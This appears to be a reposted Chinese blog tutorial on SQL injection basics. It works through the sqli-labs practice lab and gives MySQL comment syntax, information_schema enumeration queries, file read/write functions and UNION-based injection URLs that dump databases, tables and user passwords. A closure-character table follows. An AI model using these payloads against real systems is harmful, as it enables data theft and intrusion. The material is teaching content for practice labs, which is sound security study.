zoukankan      html  css  js  c++  java
  • WEB安全基础之sql注入基础

    1.基础sql语句

    注释 单行注释
    # %23
    --+ --加空格
    多行注释
    /**/

    SELECT
    (VERSION()) SELECT(USER()) SELECT(database()) 查数据库 SELECT(@@datadir) 查数据库路径 SELECT(@@version_compile_os) 查系统版本
    version() 数据库版本
    load_file() 读文件操作
    current_user() 当前用户名(可用来查看权限
    Into outfile() / into dumpfile 写文件 show DATABASES
    use security show tables select username,password from users use information_schema show tables desc tables select SCHEMA_name from information_schema.schemata 查所有的数据库 select table_name from information_schema.tables where table_schema = "security" 查表 select column_name from information_schema.COLUMNS where table_name = "users" 查列 select username,password from SECURITY.users where id =10 查列的内容

    2.显注----基本联合注入

    由上可知注入代码为

    1.查询当前数据库和用户

    http://10.1.2.5:10631/sqli/Less-2/?id=-1 union select 1,user(),version()


    2.查询所有数据库

    http://10.1.2.5:10631/sqli/Less-2/?id=-1 union select 1,database(),group_concat(schema_name) from information_schema.schemata
    

     3.查某数据库下的所有表名

    http://10.1.2.5:10631/sqli/Less-2/?id=-1 union select 1,database(),group_concat(table_name) from information_schema.tables where table_schema='security'

    4.查某表下所有列(字段)名

    http://10.1.2.5:10631/sqli/Less-2/?id=-1 union select 1,database(),group_concat(column_name) from information_schema.columns where table_name='users'

    5.查询字段的内容

    http://10.1.2.5:10631/sqli/Less-2/?id=-1 union select 1,database(),group_concat(id,'--',username,'--',password) from users

    某一猥琐手法

    http://10.1.2.5:10631/sqli/Less-2/?id=2 union select 1,version(),3 order by 2  

    1.一般求闭合字符

    数字型                              闭合方法
    
    字符型 'id'                         ' and 1=1--+
    
    "id"                               " and 1=1--+
    
    ("id")                             ") and 1=1--+
    
    ('id')                             ') and 1=1--+
    
  • 相关阅读:
    ASP.NET中的状态保持(转载)
    Win7系统下VS2008安装SP1补丁解决JQuery无智能提示的问题
    合并多个List<T>类型并通过LINQ按指定属性排序
    ASP.NET状态保持:ViewState
    第一部分 CLR基础:第1章 CLR的执行模型
    Oracle存储过程知识汇总
    ASP.NET中Button控件的CommandName和CommandArgument属性用法
    PL/SQL Developer使用
    ASP.NET常用代码汇总
    PL/SQL Developer中文注释乱码的解决办法
  • 原文地址:https://www.cnblogs.com/hackxf/p/8877104.html
Copyright © 2011-2022 走看看